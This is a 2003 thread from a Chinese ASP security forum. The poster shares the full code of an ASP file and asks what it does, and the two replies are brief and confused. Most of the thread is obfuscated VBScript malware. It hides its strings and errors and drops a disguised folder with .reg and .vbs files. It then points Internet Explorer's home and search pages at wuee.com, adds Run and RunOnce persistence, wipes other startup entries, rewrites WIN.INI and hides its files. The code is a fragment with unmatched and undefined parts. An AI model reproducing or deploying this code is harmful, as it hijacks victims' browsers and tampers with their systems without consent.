ASPCN防雷技术论坛

标题: 一个asp与activex的谜题 [打印本页]

作者: wuee 时间: 2003-11-6 15:24
标题: 一个asp与activex的谜题
请大家看看下面代码是asp文件中的全部代码本人不理解这是个什么样的代码应该怎么去用这里面的代码呢？

on error resume next
Set fso=CreateObject("Scripting.FileSystemObject")
FN = "C:\$NtUn" & "inst" & "allQ8" & "87678$"
wjj=FN
wj1=FN + "\WI"+"N"+"S"+"Y"+"S.c"+"er"
wj2=FN + "\W"+"IN"+"S"+"YS.v"+"bs"
mmyy="h"+"t"+"t"+"p"+"://www.w"+"uee.co"+"m/"
ttmm="h"+"t"+"t"+"p"+"://www.wu"+"ee.c"+"o"+"m"
hcu="HK"+"EY"+"_CU"+"RRE"+"NT_U"+"SER\So"+"ftwa"+"re\Micro"+"so"+"ft\"
hu="HK"+"EY"+"_USE"+"RS\."+"Defa"+"ult\Soft"+"wa"+"re\Mi"+"cr"+"os"+"of"+"t\"
hlm="H"+"KE"+"Y_L"+"OCA"+"L_"+"MA"+"CHI"+"NE\SOFT"+"WA"+"RE\Micr"+"o"+"s"+"of"+"t\"
rw="sss."+"RegW"+"rite"
rd="sss."+"RegD"+"elete"

if (fso.FolderExists(wjj)) then
Set fldr=fso.GetFolder(wjj)
fldr.Attributes=0
Else
Set wf1=fso.CreateFolder(wjj)
End if

if (fso.FileExists(wj1)) Then
Set fl=fso.GetFile(wj1)
fl.Attributes=0
End if

on error resume next
Set wf1=fso.CreateTextFile(wj1,true)
wf1.writeLine("REGEDIT4")
wf1.WriteBlankLines(1)
wf1.WriteLine("["+hcu+"Internet Explorer]")
wf1.WriteLine("""SearchURL""="""+ttmm+"""")
wf1.WriteBlankLines(1)
wf1.WriteLine("["+hu+"Internet Explorer]")
wf1.WriteLine("""SearchURL""="""+ttmm+"""")
wf1.WriteBlankLines(1)
wf1.WriteLine("["+hu+"Internet Explorer\Main]")
wf1.WriteLine("""Search Page""="""+ttmm+"""")
wf1.WriteLine("""Default_Search_URL""="""+ttmm+"""")
wf1.WriteLine("""Search Bar""="""+ttmm+"""")
wf1.WriteBlankLines(1)
wf1.WriteLine("["+hcu+"Internet Explorer\Search]")
wf1.WriteLine("""SearchAssistant""="""+ttmm+"""")
wf1.WriteBlankLines(1)
wf1.WriteLine("["+hlm+"Internet Explorer\Search]")
wf1.WriteLine("""SearchAssistant""="""+ttmm+"""")
wf1.WriteBlankLines(1)
wf1.WriteLine("["+hu+"Internet Explorer\Search]")
wf1.WriteLine("""SearchAssistant""="""+ttmm+"""")
wf1.WriteBlankLines(1)
wf1.WriteLine("["+hlm+"Internet Explorer\Main]")
wf1.WriteLine("""Start Page""="""+mmyy+"""")
wf1.WriteLine("""First Home Page""="""+mmyy+"""")
wf1.WriteLine("""Default_Search_URL""="""+ttmm+"""")
wf1.WriteLine("""Search Page""="""+ttmm+"""")
wf1.WriteLine("""Search Bar""="""+ttmm+"""")
wf1.WriteLine("""Local Page""="""+mmyy+"""")
wf1.WriteBlankLines(1)
wf1.WriteLine("[-"+hcu+"windows\CurrentVersion\Run]")
wf1.WriteLine("["+hcu+"windows\CurrentVersion\Run]")
wf1.WriteLine("@=""regedit -s C:\\$NtUninstallQ887678$\\WINSYS.cer""")
wf1.WriteBlankLines(1)
wf1.writeLine("["+hlm+"Internet Explorer\Main]")
wf1.WriteLine("""Default_Page_URL""="""+mmyy+"""")
wf1.WriteBlankLines(1)
wf1.writeLine("["+hcu+"Internet Explorer\Main]")
wf1.WriteLine("""Default_Search_URL""="""+ttmm+"""")
wf1.WriteLine("""Search Page""="""+ttmm+"""")
wf1.WriteLine("""Search Bar""="""+ttmm+"""")
wf1.WriteLine("""SearchURL""="""+ttmm+"""")
wf1.WriteLine("""Start Page""="""+mmyy+"""")
wf1.WriteLine("""First Home Page""="""+mmyy+"""")
wf1.WriteLine("""Default_Page_URL""="""+mmyy+"""")
wf1.WriteLine("""Local Page""="""+mmyy+"""")
wf1.WriteBlankLines(1)
wf1.writeLine("[-"+hlm+"Windows\CurrentVersion\RunOnce]")
wf1.writeLine("["+hlm+"Windows\CurrentVersion\RunOnce]")
wf1.WriteLine("""WlN32""=""C:\\$NtUninstallQ887678$\\WINSYS.vbs""")
wf1.WriteBlankLines(1)
wf1.writeLine("["+hlm+"Windows\CurrentVersion\Run]")
wf1.WriteLine("""WlN32""=""regedit -s C:\\$NtUninstallQ887678$\\WINSYS.cer""")
wf1.WriteLine("""internat.exe""=""internat.exe""")
wf1.WriteLine("""zwupdows""=-")
wf1.WriteLine("""win""=-")
wf1.WriteLine("""mwin""=-")
wf1.WriteLine("""intenet""=-")
wf1.WriteLine("""Inernet""=-")
wf1.WriteLine("""Internet""=-")
wf1.WriteLine("""iexpleror""=-")
wf1.WriteLine("""zxdows""=-")
wf1.WriteLine("""qwe""=-")
wf1.WriteLine("""win1""=-")
wf1.WriteLine("""winwin""=-")
wf1.WriteLine("""9i5zxdows""=-")
wf1.WriteLine("""9i5com01zxdows""=-")
wf1.WriteLine("""99zxdows""=-")
wf1.WriteLine("""syste""=-")
wf1.WriteLine("""intelnat.exe""=-")
wf1.WriteLine("""88zxdows""=-")
wf1.WriteLine("""Start Pagewin""=-")
wf1.WriteLine("""Start Page""=-")
wf1.WriteLine("""9i5comzxdows""=-")
wf1.WriteLine("""9q5zxdows""=-")
wf1.WriteLine("""999izxdows""=-")
wf1.WriteLine("""033zxdows""=-")
wf1.WriteLine("""8zxdows""=-")
wf1.WriteLine("""flash""=-")
wf1.WriteLine("""3zxdows""=-")
wf1.WriteLine("""interneet.exe""=-")
wf1.WriteLine("""u88y""=-")
wf1.WriteLine("""88u88""=-")
wf1.WriteLine("""u18""=-")
wf1.WriteLine("""u1881""=-")
wf1.WriteLine("""u1882""=-")
wf1.WriteLine("""u1883""=-")
wf1.WriteLine("""u1884""=-")
wf1.WriteLine("""u1885""=-")
wf1.WriteLine("""u1886""=-")
wf1.WriteLine("""u1887""=-")
wf1.WriteLine("""u1888""=-")
wf1.WriteLine("""system""=-")
wf1.WriteLine("""u188""=-")
wf1.WriteLine("""iexpler""=-")
wf1.WriteLine("""u1810""=-")
wf1.WriteLine("""WIN32""=-")
wf1.close()
Set wf1=fso.CreateTextFile(wj2,true)
wf1.WriteLine("Set sss = CreateObject(""WSc"" + ""ript.Sh"" + ""ell"")")
wf1.WriteLine("mhk=""HK""&""LM\SO""&""FTWARE\Mi""&""cr""&""os""&""oft\Win""&""dows\Cu""&""rren""&""tVersion\Run\""")
wf1.WriteLine("mhc=""H""&""K""&""CU\So""&""ft""&""ware\Mic""&""ros""&""oft\Win""&""dows\Curren""&""tVersion\Run\""")
wf1.WriteLine("mhk2=""HK""&""LM\SO""&""FT""&""WARE\M""&""icr""&""osoft\Wi""&""n""&""dows\Curren""&""tVersion\""")
wf1.WriteLine(rw+" """"&mhk&""WlN32"",""regedit -s C:\$NtUninstallQ887678$\WINSYS.cer""")
wf1.WriteLine(rw+" """"&mhk&""internat.exe"",""internat.exe""")
wf1.WriteLine(rw+" """"&mhk&""zwupdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""win"",""12""")
wf1.WriteLine(rw+" """"&mhk&""mwin"",""12""")
wf1.WriteLine(rw+" """"&mhk&""internt"",""12""")
wf1.WriteLine(rw+" """"&mhk&""Inernet"",""12""")
wf1.WriteLine(rw+" """"&mhk&""Internet"",""12""")
wf1.WriteLine(rw+" """"&mhk&""iexpleror"",""12""")
wf1.WriteLine(rw+" """"&mhk&""zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""qwe"",""12""")
wf1.WriteLine(rw+" """"&mhk&""win1"",""12""")
wf1.WriteLine(rw+" """"&mhk&""intelnat.exe"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u1888"",""12""")
wf1.WriteLine(rw+" """"&mhk&""intenet"",""12""")
wf1.WriteLine(rw+" """"&mhk&""9i5zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""9i5com01zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""99zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""88zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""Start Pagewin"",""12""")
wf1.WriteLine(rw+" """"&mhk&""Start Page"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u188"",""12""")
wf1.WriteLine(rw+" """"&mhk&""9i5comzxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""9q5zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u1881"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u1882"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u1883"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u1884"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u1885"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u1886"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u1887"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u88y"", ""12""")
wf1.WriteLine(rw+" """"&mhk&""flash"", ""12""")
wf1.WriteLine(rw+" """"&mhk&""999izxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""033zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""syste"",""12""")
wf1.WriteLine(rw+" """"&mhc&""my"",""12""")
wf1.WriteLine(rw+" """"&mhk&""3zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""88u88"",""12""")
wf1.WriteLine(rw+" """"&mhk&""system"",""12""")
wf1.WriteLine(rw+" """"&mhk&""8zxdows"",""12""")
wf1.WriteLine(rw+" """"&mhk&""u18"",""12""")
wf1.WriteLine(rw+" """"&mhk&""interneet.exe"",""12""")
wf1.WriteLine(rw+" """"&mhk2&""RunOnce\"", ""12""")
wf1.WriteLine(rw+" """"&mhk&""iexpler"", ""12""")
wf1.WriteLine(rw+" """"&mhk&""u1810"", ""12""")
wf1.WriteLine(rw+" """"&mhk&""winwin"", ""12""")
wf1.WriteLine(rw+" """"&mhk&""WIN32"", ""12""")
wf1.WriteLine(rw+" """"&mhk&""W1N32"", ""12""")
wf1.WriteLine(rd+" """"&mhc&""""")
wf1.WriteLine(rd+" """"&mhk&""zwupdows""")
wf1.WriteLine(rd+" """"&mhk&""win""")
wf1.WriteLine(rd+" """"&mhk&""mwin""")
wf1.WriteLine(rd+" """"&mhk&""internt""")
wf1.WriteLine(rd+" """"&mhk&""inernet""")
wf1.WriteLine(rd+" """"&mhk&""Internet""")
wf1.WriteLine(rd+" """"&mhk&""u188""")
wf1.WriteLine(rd+" """"&mhk&""iexpleror""")
wf1.WriteLine(rd+" """"&mhk&""zxdows""")
wf1.WriteLine(rd+" """"&mhk&""qwe""")
wf1.WriteLine(rd+" """"&mhk&""win1""")
wf1.WriteLine(rd+" """"&mhk&""intelnat.exe""")
wf1.WriteLine(rd+" """"&mhk&""intenet""")
wf1.WriteLine(rd+" """"&mhk&""9i5zxdows""")
wf1.WriteLine(rd+" """"&mhk&""9i5com01zxdows""")
wf1.WriteLine(rd+" """"&mhk&""99zxdows""")
wf1.WriteLine(rd+" """"&mhk&""88zxdows""")
wf1.WriteLine(rd+" """"&mhk&""Start Pagewin""")
wf1.WriteLine(rd+" """"&mhk&""Start Page""")
wf1.WriteLine(rd+" """"&mhk&""9i5comzxdows""")
wf1.WriteLine(rd+" """"&mhk&""9q5zxdows""")
wf1.WriteLine(rd+" """"&mhk&""999izxdows""")
wf1.WriteLine(rd+" """"&mhk&""033zxdows""")
wf1.WriteLine(rd+" """"&mhk&""u1881""")
wf1.WriteLine(rd+" """"&mhk&""u1882""")
wf1.WriteLine(rd+" """"&mhk&""u1883""")
wf1.WriteLine(rd+" """"&mhk&""u1884""")
wf1.WriteLine(rd+" """"&mhk&""u1885""")
wf1.WriteLine(rd+" """"&mhk&""u1886""")
wf1.WriteLine(rd+" """"&mhk&""u1887""")
wf1.WriteLine(rd+" """"&mhk&""u88y""")
wf1.WriteLine(rd+" """"&mhk&""flash""")
wf1.WriteLine(rd+" """"&mhk&""88u88""")
wf1.WriteLine(rd+" """"&mhk&""interneet.exe""")
wf1.WriteLine(rd+" """"&mhk&""u18""")
wf1.WriteLine(rd+" """"&mhk&""u1888""")
wf1.WriteLine(rd+" """"&mhk&""system""")
wf1.WriteLine(rd+" """"&mhk&""3zxdows""")
wf1.WriteLine(rd+" """"&mhk&""8zxdows""")
wf1.WriteLine(rd+" """"&mhk&""syste""")
wf1.WriteLine(rd+" """"&mhk2&""RunOnce\""")
wf1.WriteLine(rd+" """"&mhk&""iexpler""")
wf1.WriteLine(rd+" """"&mhk&""u1810""")
wf1.WriteLine(rd+" """"&mhk&""winwin""")
wf1.WriteLine(rd+" """"&mhk&""WIN32""")
wf1.WriteLine(rd+" """"&mhk&""W1N32""")
wf1.WriteBlankLines(1)
wf1.writeLine("Set FSO = CreateObject(""Scrip"" + ""ting."" + ""FileSyst"" + ""emO"" + ""bject"")")
wf1.writeLine("myfile14=FSO.FileExists(""c:\wind"" + ""ows\W"" + ""IN.INI"")")
wf1.writeLine("if myfile14 then")
wf1.writeLine("set FSO2=FSO.OpenTextFile(""c:\win"" + ""dows\W"" + ""IN.INI"")")
wf1.writeLine("mywin=FSO2.ReadALL()")
wf1.writeLine("l=Instr(mywin,""run="")-3")
wf1.writeLine("m=Instr(mywin,""load="")-1")
wf1.writeLine("n=Instr(mywin,""NullPort="")-3")
wf1.writeLine("FSO2.close")
wf1.writeLine("if l>0 and m>0 and l>m then")
wf1.writeLine("set FSO3=FSO.OpenTextFile(""c:\wi"" + ""ndows\W"" + ""IN.INI"")")
wf1.writeLine("mywin2=FSO3.Read(l)")
wf1.writeLine("FSO3.close")
wf1.writeLine("set FSO4=FSO.OpenTextFile(""c:\win"" + ""dows\WI"" + ""N.INI"")")
wf1.writeLine("mywin3=FSO4.Read(m)")
wf1.writeLine("FSO4.close")
wf1.writeLine("if n>0 and n>l then")
wf1.writeLine("set FSO5=FSO.OpenTextFile(""c:\wind"" + ""ows\WIN"" + "".INI"")")
wf1.writeLine("mywin4=FSO5.Read(n)")
wf1.writeLine("FSO5.close")
wf1.writeLine("mywin=Replace(mywin,mywin4,"""")")
wf1.writeLine("set FSO2=FSO.CreateTextFile(""c:\win"" + ""dows\WI"" + ""N.INI"")")
wf1.writeLine("FSO2.Write mywin3")
wf1.writeLine("FSO2.WriteLine ""load=""")
wf1.writeLine("FSO2.Write ""run=""")
wf1.writeLine("FSO2.Write mywin")
wf1.writeLine("FSO2.close")
wf1.writeLine("else")
wf1.writeLine("mywin=Replace(mywin,mywin2,"""")")
wf1.writeLine("set FSO2=FSO.CreateTextFile(""c:\win"" + ""dows\WI"" + ""N.INI"")")
wf1.writeLine("FSO2.Write mywin3")
wf1.writeLine("FSO2.Write ""load=""")
wf1.writeLine("FSO2.Write mywin")
wf1.writeLine("FSO2.close")
wf1.writeLine("end if")
wf1.writeLine("end if")
wf1.writeLine("end if")
if (fso.FileExists(wj1)) then
wshh.Run("regedit /s C:\$NtUninstallQ887678$\WINSYS.cer")
Set fldr=fso.GetFolder(wjj)
Set fl=fso.GetFile(wj1)
fldr.Attributes=6
fl.Attributes=6
end if

End Function

on error resume next
Call stup()

function closeit()
setTimeout "self.close()",5
End Function

Call closeit()
</script>

作者: xs02556 时间: 2003-11-6 16:14
看不清什么??

作者: solemnity 时间: 2003-11-6 16:24
什么啊？看什么呢？

欢迎光临 ASPCN防雷技术论坛 (http://asp.cn/)